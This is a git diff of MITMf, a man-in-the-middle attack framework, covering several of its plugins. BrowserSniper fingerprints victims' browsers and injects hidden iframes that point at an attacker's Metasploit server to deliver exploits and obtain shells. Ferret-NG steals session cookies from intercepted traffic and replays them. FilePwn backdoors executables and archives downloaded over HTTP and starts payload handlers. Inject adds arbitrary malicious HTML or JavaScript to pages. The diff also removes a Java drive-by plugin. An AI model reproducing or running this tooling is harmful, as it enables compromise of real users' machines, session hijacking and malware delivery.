if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'):
|
||||||
|
java = self.output['java_version']
|
||||||
|
|
||||||
|
flash = None
|
||||||
|
if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'):
|
||||||
|
flash = self.output['flash_version']
|
||||||
|
|
||||||
|
mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash))
|
||||||
|
|
||||||
|
for exploit, details in self.config['BrowserSniper'].iteritems():
|
||||||
|
|
||||||
|
if self._compat_system(details['OS'].lower(), details['Browser'].lower()):
|
||||||
|
|
||||||
|
if details['Type'].lower() == 'browservuln':
|
||||||
|
exploits.append(exploit)
|
||||||
|
|
||||||
|
elif details['Type'].lower() == 'pluginvuln':
|
||||||
|
|
||||||
|
if details['Plugin'].lower() == 'java':
|
||||||
|
if (java is not None) and (java in details['PluginVersions']):
|
||||||
|
exploits.append(exploit)
|
||||||
|
|
||||||
|
elif details['Plugin'].lower() == 'flash':
|
||||||
|
|
||||||
|
if (flash is not None) and (java in details['PluginVersions']):
|
||||||
|
exploits.append(exploit)
|
||||||
|
|
||||||
|
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
|
||||||
|
return exploits
|
||||||
|
|
||||||
|
def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||||
|
|
||||||
|
#inject iframe
|
||||||
|
mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip))
|
||||||
|
self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects
|
||||||
|
|
||||||
|
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
|
||||||
|
#Will also make sure the shell actually came from the box that we targeted
|
||||||
|
#probably a much cleaner way of doing this :/
|
||||||
|
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
|
||||||
|
exit_loop = False
|
||||||
|
poll_n = 1
|
||||||
|
while poll_n <= 30:
|
||||||
|
|
||||||
|
if exit_loop is True:
|
||||||
|
break
|
||||||
|
|
||||||
|
sessions = self.msf.call('session.list')
|
||||||
|
if sessions:
|
||||||
|
for k, v in sessions.iteritems():
|
||||||
|
if ip in sessions[k]['tunnel_peer']:
|
||||||
|
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
|
||||||
|
self.sploited_ips.append(ip)
|
||||||
|
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
||||||
|
exit_loop = True
|
||||||
|
break
|
||||||
|
|
||||||
|
poll_n += 1
|
||||||
|
sleep(2)
|
||||||
|
|
||||||
|
if exit_loop is False: #We didn't get a shell :(
|
||||||
|
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
|
||||||
|
|
||||||
|
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||||
|
|
||||||
|
def snipe(self):
|
||||||
|
while True:
|
||||||
|
if self.output:
|
||||||
|
vic_ip = self.output['ip']
|
||||||
|
msfport = self.config['MITMf']['Metasploit']['msfport']
|
||||||
|
exploits = self.getExploits()
|
||||||
|
|
||||||
|
if not exploits:
|
||||||
|
if vic_ip not in self.sploited_ips:
|
||||||
|
mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
|
||||||
|
self.sploited_ips.append(vic_ip)
|
||||||
|
self.black_ips = self.sploited_ips
|
||||||
|
|
||||||
|
elif exploits and (vic_ip not in self.sploited_ips):
|
||||||
|
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
|
||||||
|
|
||||||
|
inject_payload = ''
|
||||||
|
|
||||||
|
for exploit in exploits:
|
||||||
|
|
||||||
|
jobs = self.msf.call('job.list') #get running jobs
|
||||||
|
if jobs:
|
||||||
|
for pid, name in jobs.iteritems():
|
||||||
|
info = self.msf.call('job.info', [pid])
|
||||||
|
if (exploit in info['name']):
|
||||||
|
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
|
||||||
|
url = info['uripath'] #get the url assigned to the exploit
|
||||||
|
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
|
||||||
|
else:
|
||||||
|
url, port = self._setupExploit(exploit, msfport)
|
||||||
|
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
|
||||||
|
else:
|
||||||
|
url, port = self._setupExploit(exploit, msfport)
|
||||||
|
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
|
||||||
|
|
||||||
|
self.injectAndPoll(vic_ip, inject_payload)
|
||||||
|
|
||||||
|
sleep(1)
|
|
@ -20,20 +20,20 @@
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
from datetime import datetime
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
from twisted.web import http
|
from twisted.web import http
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
from core.ferretNG.FerretProxy import FerretProxy
|
from core.ferretng.FerretProxy import FerretProxy
|
||||||
from core.ferretNG.URLMonitor import URLMonitor
|
from core.ferretng.URLMonitor import URLMonitor
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class FerretNG(Plugin):
|
class FerretNG(Plugin):
|
||||||
name = "Ferret-NG"
|
name = "Ferret-NG"
|
||||||
optname = "ferret"
|
optname = "ferretng"
|
||||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||||
tree_output = list()
|
|
||||||
version = "0.1"
|
version = "0.1"
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
|
@ -42,14 +42,16 @@ class FerretNG(Plugin):
|
||||||
self.options = options
|
self.options = options
|
||||||
self.ferret_port = 10010 or options.ferret_port
|
self.ferret_port = 10010 or options.ferret_port
|
||||||
|
|
||||||
self.tree_output.append("Listening on port {}".format(self.ferret_port))
|
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
if 'cookie' in request.headers:
|
if 'cookie' in request.headers:
|
||||||
host = request.headers['host']
|
host = request.headers['host']
|
||||||
cookie = request.headers['cookie']
|
cookie = request.headers['cookie']
|
||||||
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(request.client.getClientIP(), host, cookie))
|
client = request.client.getClientIP()
|
||||||
URLMonitor.getInstance().cookies[host] = cookie
|
if host not in URLMonitor.getInstance().cookies:
|
||||||
|
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
|
||||||
|
URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
|
||||||
|
|
||||||
def pluginReactor(self, StrippingProxy):
|
def pluginReactor(self, StrippingProxy):
|
||||||
FerretFactory = http.HTTPFactory(timeout=10)
|
FerretFactory = http.HTTPFactory(timeout=10)
|
||||||
|
@ -57,4 +59,11 @@ class FerretNG(Plugin):
|
||||||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||||
|
|
||||||
def pluginOptions(self, options):
|
def pluginOptions(self, options):
|
||||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG on (default 10010)')
|
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||||
|
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
|
||||||
|
|
||||||
|
def finish(self):
|
||||||
|
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
|
||||||
|
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
|
||||||
|
cookie_file.write(URLMonitor.getInstance().cookies)
|
||||||
|
cookie_file.close()
|
|
@ -61,6 +61,7 @@ import logging
|
||||||
import shutil
|
import shutil
|
||||||
import random
|
import random
|
||||||
import string
|
import string
|
||||||
|
import threading
|
||||||
import tarfile
|
import tarfile
|
||||||
import multiprocessing
|
import multiprocessing
|
||||||
|
|
||||||
|
@ -78,8 +79,7 @@ class FilePwn(Plugin):
|
||||||
name = "FilePwn"
|
name = "FilePwn"
|
||||||
optname = "filepwn"
|
optname = "filepwn"
|
||||||
desc = "Backdoor executables being sent over http using bdfactory"
|
desc = "Backdoor executables being sent over http using bdfactory"
|
||||||
implements = ["handleResponse"]
|
tree_info = ["BDFProxy v0.3.2 online"]
|
||||||
tree_output = ["BDFProxy v0.3.2 online"]
|
|
||||||
version = "0.3"
|
version = "0.3"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
|
@ -134,17 +134,23 @@ class FilePwn(Plugin):
|
||||||
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
|
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
|
||||||
msf.login('msf', rpcpass)
|
msf.login('msf', rpcpass)
|
||||||
version = msf.call('core.version')['version']
|
version = msf.call('core.version')['version']
|
||||||
self.tree_output.append("Connected to Metasploit v{}".format(version))
|
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
||||||
|
|
||||||
|
t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,))
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
except Exception:
|
except Exception:
|
||||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||||
|
|
||||||
|
def setupMSF(self, msf):
|
||||||
|
|
||||||
self.tree_output.append("Setting up Metasploit payload handlers")
|
|
||||||
jobs = msf.call('job.list')
|
jobs = msf.call('job.list')
|
||||||
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
|
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
|
||||||
cmd = "use exploit/multi/handler\n"
|
cmd = "use exploit/multi/handler\n"
|
||||||
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
|
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
|
||||||
cmd += "set LHOST {}\n".format(config["HOST"])
|
cmd += "set LHOST {}\n".format(config["HOST"])
|
||||||
cmd += "set LPORT {}\n".format(config["PORT"])
|
cmd += "set LPORT {}\n".format(config["PORT"])
|
||||||
|
cmd += "set ExitOnSession False\n"
|
||||||
cmd += "exploit -j\n"
|
cmd += "exploit -j\n"
|
||||||
|
|
||||||
if jobs:
|
if jobs:
|
||||||
|
@ -589,46 +595,46 @@ class FilePwn(Plugin):
|
||||||
self.patched.put(tempZipFile)
|
self.patched.put(tempZipFile)
|
||||||
return
|
return
|
||||||
|
|
||||||
def handleResponse(self, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
|
|
||||||
content_header = request.client.headers['Content-Type']
|
content_header = response.headers['Content-Type']
|
||||||
client_ip = request.client.getClientIP()
|
client_ip = response.getClientIP()
|
||||||
|
|
||||||
if content_header in self.zipMimeTypes:
|
if content_header in self.zipMimeTypes:
|
||||||
|
|
||||||
if self.bytes_have_format(data, 'zip'):
|
if self.bytes_have_format(data, 'zip'):
|
||||||
mitmf_logger.info("{} Detected supported zip file type!".format(client_ip))
|
mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip))
|
||||||
|
|
||||||
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
|
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
|
||||||
process.daemon = True
|
process.daemon = True
|
||||||
process.start()
|
process.start()
|
||||||
process.join()
|
#process.join()
|
||||||
bd_zip = self.patched.get()
|
bd_zip = self.patched.get()
|
||||||
|
|
||||||
if bd_zip:
|
if bd_zip:
|
||||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
|
||||||
return {'request': request, 'data': bd_zip}
|
return {'response': response, 'request': request, 'data': bd_zip}
|
||||||
|
|
||||||
else:
|
else:
|
||||||
for tartype in ['gz','bz','tar']:
|
for tartype in ['gz','bz','tar']:
|
||||||
if self.bytes_have_format(data, tartype):
|
if self.bytes_have_format(data, tartype):
|
||||||
mitmf_logger.info("{} Detected supported tar file type!".format(client_ip))
|
mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip))
|
||||||
|
|
||||||
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
|
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
|
||||||
process.daemon = True
|
process.daemon = True
|
||||||
process.start()
|
process.start()
|
||||||
process.join()
|
#process.join()
|
||||||
bd_tar = self.patched.get()
|
bd_tar = self.patched.get()
|
||||||
|
|
||||||
if bd_tar:
|
if bd_tar:
|
||||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
|
||||||
return {'request': request, 'data': bd_tar}
|
return {'response': response, 'request': request, 'data': bd_tar}
|
||||||
|
|
||||||
|
|
||||||
elif content_header in self.binaryMimeTypes:
|
elif content_header in self.binaryMimeTypes:
|
||||||
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
||||||
if self.bytes_have_format(data, bintype):
|
if self.bytes_have_format(data, bintype):
|
||||||
mitmf_logger.info("{} Detected supported binary type!".format(client_ip))
|
mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype))
|
||||||
fd, tmpFile = mkstemp()
|
fd, tmpFile = mkstemp()
|
||||||
with open(tmpFile, 'w') as f:
|
with open(tmpFile, 'w') as f:
|
||||||
f.write(data)
|
f.write(data)
|
||||||
|
@ -636,15 +642,14 @@ class FilePwn(Plugin):
|
||||||
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
|
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
|
||||||
process.daemon = True
|
process.daemon = True
|
||||||
process.start()
|
process.start()
|
||||||
process.join()
|
#process.join()
|
||||||
patchb = self.patched.get()
|
patchb = self.patched.get()
|
||||||
|
|
||||||
if patchb:
|
if patchb:
|
||||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
|
||||||
return {'request': request, 'data': bd_binary}
|
return {'response': response, 'request': request, 'data': bd_binary}
|
||||||
|
|
||||||
else:
|
mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header))
|
||||||
mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header))
|
return {'response': response, 'request': request, 'data': data}
|
||||||
return {'request': request, 'data': data}
|
|
|
@ -27,46 +27,45 @@ import argparse
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.CacheKill import CacheKill
|
from plugins.CacheKill import CacheKill
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class Inject(Plugin):
|
class Inject(CacheKill, Plugin):
|
||||||
name = "Inject"
|
name = "Inject"
|
||||||
optname = "inject"
|
optname = "inject"
|
||||||
desc = "Inject arbitrary content into HTML content"
|
desc = "Inject arbitrary content into HTML content"
|
||||||
version = "0.2"
|
version = "0.3"
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.our_ip = SystemConfig.getIP(options.interface)
|
self.our_ip = SystemConfig.getIP(options.interface)
|
||||||
self.html_src = options.html_url
|
self.html_src = options.html_url
|
||||||
self.js_src = options.js_url
|
self.js_src = options.js_url
|
||||||
self.rate_limit = options.rate_limit
|
self.rate_limit = options.rate_limit
|
||||||
self.count_limit = options.count_limit
|
self.count_limit = options.count_limit
|
||||||
self.per_domain = options.per_domain
|
self.per_domain = options.per_domain
|
||||||
self.black_ips = options.black_ips
|
self.black_ips = options.black_ips.split(',')
|
||||||
self.white_ips = options.white_ips
|
self.white_ips = options.white_ips.split(',')
|
||||||
self.match_str = "</body>" or options.match_str
|
self.white_domains = options.white_domains.split(',')
|
||||||
self.html_payload = options.html_payload
|
self.black_domains = options.black_domains.split(',')
|
||||||
self.ctable = {}
|
self.match_str = "</body>" or options.match_str
|
||||||
self.dtable = {}
|
self.html_payload = options.html_payload
|
||||||
self.count = 0
|
self.ctable = {}
|
||||||
self.mime = "text/html"
|
self.dtable = {}
|
||||||
|
self.count = 0
|
||||||
|
self.mime = "text/html"
|
||||||
|
|
||||||
if not options.preserve_cache:
|
if not options.preserve_cache:
|
||||||
cachekill = CacheKill()
|
CacheKill.initialize(self, options)
|
||||||
cachekill.initialize(options)
|
|
||||||
ProxyPlugins.getInstance().addPlugin(cachekill)
|
|
||||||
|
|
||||||
def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
#We throttle to only inject once every two seconds per client
|
#We throttle to only inject once every two seconds per client
|
||||||
#If you have MSF on another host, you may need to check prior to injection
|
#If you have MSF on another host, you may need to check prior to injection
|
||||||
#print "http://" + response.client.getRequestHostname() + response.uri
|
#print "http://" + response.client.getRequestHostname() + response.uri
|
||||||
ip, hn, mime = self._get_req_info(response)
|
ip, hn, mime = self._get_req_info(response)
|
||||||
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.our_ip):
|
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip):
|
||||||
if (not self.js_src == self.html_src is not None or not self.html_payload == ""):
|
if (not self.js_src == self.html_src is not None or not self.html_payload == ""):
|
||||||
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
|
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
|
||||||
self.ctable[ip] = time.time()
|
self.ctable[ip] = time.time()
|
||||||
|
@ -81,20 +80,37 @@ class Inject(Plugin):
|
||||||
|
|
||||||
def _ip_filter(self, ip):
|
def _ip_filter(self, ip):
|
||||||
|
|
||||||
if self.white_ips is not None:
|
if self.white_ips[0] != '':
|
||||||
if ip in self.white_ips.split(','):
|
if ip in self.white_ips:
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if self.black_ips is not None:
|
if self.black_ips[0] != '':
|
||||||
if ip in self.black_ips.split(','):
|
if ip in self.black_ips:
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def _host_filter(self, host):
|
||||||
|
|
||||||
|
if self.white_domains[0] != '':
|
||||||
|
if host in self.white_domains:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
if self.black_domains[0] != '':
|
||||||
|
if host in self.black_domains:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
def _should_inject(self, ip, hn, mime):
|
def _should_inject(self, ip, hn, mime):
|
||||||
|
|
||||||
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
||||||
|
@ -153,12 +169,14 @@ class Inject(Plugin):
|
||||||
def pluginOptions(self, options):
|
def pluginOptions(self, options):
|
||||||
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
|
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
|
||||||
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
|
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
|
||||||
options.add_argument("--html-payload", type=str, default=None, help="String you would like to inject.")
|
options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.")
|
||||||
options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. (</body> by default)")
|
options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. (</body> by default)")
|
||||||
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
|
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
|
||||||
group = options.add_mutually_exclusive_group(required=False)
|
group = options.add_mutually_exclusive_group(required=False)
|
||||||
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")
|
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")
|
||||||
group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.")
|
group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.")
|
||||||
group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.")
|
group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.")
|
||||||
group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips")
|
group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)")
|
||||||
group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips")
|
group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)")
|
||||||
|
group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)")
|
||||||
|
group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)")
|
||||||
|
|
|
@ -1,231 +0,0 @@
|
||||||
#!/usr/bin/env python2.7
|
|
||||||
|
|
||||||
# Copyright (c) 2014-2016 Marcello Salvati
|
|
||||||
#
|
|
||||||
# This program is free software; you can redistribute it and/or
|
|
||||||
# modify it under the terms of the GNU General Public License as
|
|
||||||
# published by the Free Software Foundation; either version 3 of the
|
|
||||||
# License, or (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful, but
|
|
||||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
# General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program; if not, write to the Free Software
|
|
||||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
|
||||||
# USA
|
|
||||||
#
|
|
||||||
|
|
||||||
import string
|
|
||||||
import random
|
|
||||||
import threading
|
|
||||||
import sys
|
|
||||||
import logging
|
|
||||||
|
|
||||||
from time import sleep
|
|
||||||
from core.msfrpc import Msfrpc
|
|
||||||
from core.utils import SystemConfig
|
|
||||||
from plugins.plugin import Plugin
|
|
||||||
from plugins.BrowserProfiler import BrowserProfiler
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
|
||||||
|
|
||||||
class JavaPwn(Plugin):
|
|
||||||
name = "JavaPwn"
|
|
||||||
optname = "javapwn"
|
|
||||||
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
|
|
||||||
tree_output = []
|
|
||||||
version = "0.3"
|
|
||||||
has_opts = False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
|
||||||
self.options = options
|
|
||||||
self.msfip = SystemConfig.getIP(options.interface)
|
|
||||||
|
|
||||||
try:
|
|
||||||
msfcfg = options.configfile['MITMf']['Metasploit']
|
|
||||||
except Exception, e:
|
|
||||||
sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e))
|
|
||||||
|
|
||||||
try:
|
|
||||||
self.javacfg = options.configfile['JavaPwn']
|
|
||||||
except Exception, e:
|
|
||||||
sys.exit("[-] Error parsing config for JavaPwn: {}".format(e))
|
|
||||||
|
|
||||||
self.msfport = msfcfg['msfport']
|
|
||||||
self.rpcip = msfcfg['rpcip']
|
|
||||||
self.rpcpass = msfcfg['rpcpass']
|
|
||||||
|
|
||||||
#Initialize the BrowserProfiler plugin
|
|
||||||
BrowserProfiler.initialize(self, options)
|
|
||||||
self.black_ips = []
|
|
||||||
|
|
||||||
try:
|
|
||||||
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
|
||||||
self.msf.login('msf', self.rpcpass)
|
|
||||||
version = self.msf.call('core.version')['version']
|
|
||||||
self.tree_output.append("Connected to Metasploit v{}".format(version))
|
|
||||||
except Exception:
|
|
||||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
|
||||||
|
|
||||||
def onConfigChange(self):
|
|
||||||
self.initialize(self.options)
|
|
||||||
|
|
||||||
def startThread(self, options):
|
|
||||||
self.pwn()
|
|
||||||
|
|
||||||
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
|
|
||||||
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
|
|
||||||
|
|
||||||
def get_exploit(self, java_version):
|
|
||||||
exploits = []
|
|
||||||
|
|
||||||
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
|
|
||||||
client_uversion = int(java_version.split('.')[3])
|
|
||||||
|
|
||||||
for ver in self.javacfg['Multi'].iteritems():
|
|
||||||
if type(ver[1]) is list:
|
|
||||||
for list_vers in ver[1]:
|
|
||||||
|
|
||||||
version_string = list_vers[:-len(list_vers.split('.')[3])-1]
|
|
||||||
update_version = int(list_vers.split('.')[3])
|
|
||||||
|
|
||||||
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
|
|
||||||
if client_uversion == update_version:
|
|
||||||
exploits.append(ver[0])
|
|
||||||
elif (client_vstring == version_string):
|
|
||||||
if client_uversion <= update_version:
|
|
||||||
exploits.append(ver[0])
|
|
||||||
else:
|
|
||||||
version_string = ver[1][:-len(ver[1].split('.')[3])-1]
|
|
||||||
update_version = int(ver[1].split('.')[3])
|
|
||||||
|
|
||||||
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
|
|
||||||
if client_uversion == update_version:
|
|
||||||
exploits.append(ver[0])
|
|
||||||
elif client_vstring == version_string:
|
|
||||||
if client_uversion <= update_version:
|
|
||||||
exploits.append(ver[0])
|
|
||||||
|
|
||||||
return exploits
|
|
||||||
|
|
||||||
|
|
||||||
def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
|
||||||
#inject iframe
|
|
||||||
mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip))
|
|
||||||
self.html_payload = "<iframe src='http://{}:{}' height=0%% width=0%%></iframe>".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
|
|
||||||
|
|
||||||
mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip))
|
|
||||||
|
|
||||||
exit = False
|
|
||||||
i = 1
|
|
||||||
while i <= 30: #wait max 60 seconds for a new shell
|
|
||||||
if exit:
|
|
||||||
break
|
|
||||||
shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions
|
|
||||||
if len(shell) > 0:
|
|
||||||
for k, v in shell.iteritems():
|
|
||||||
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
|
||||||
mitmf_logger.info("{} >> Got shell!".format(client_ip))
|
|
||||||
self.sploited_ips.append(client_ip) #target successfuly owned :)
|
|
||||||
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
|
||||||
exit = True
|
|
||||||
break
|
|
||||||
sleep(2)
|
|
||||||
i += 1
|
|
||||||
|
|
||||||
if exit is False: #We didn't get a shell :(
|
|
||||||
mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip))
|
|
||||||
|
|
||||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
|
||||||
|
|
||||||
def send_command(self, cmd, vic_ip):
|
|
||||||
try:
|
|
||||||
mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip))
|
|
||||||
|
|
||||||
#Create a virtual console
|
|
||||||
console_id = self.msf.call('console.create')['id']
|
|
||||||
|
|
||||||
#write the cmd to the newly created console
|
|
||||||
self.msf.call('console.write', [console_id, cmd])
|
|
||||||
|
|
||||||
mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip))
|
|
||||||
except Exception, e:
|
|
||||||
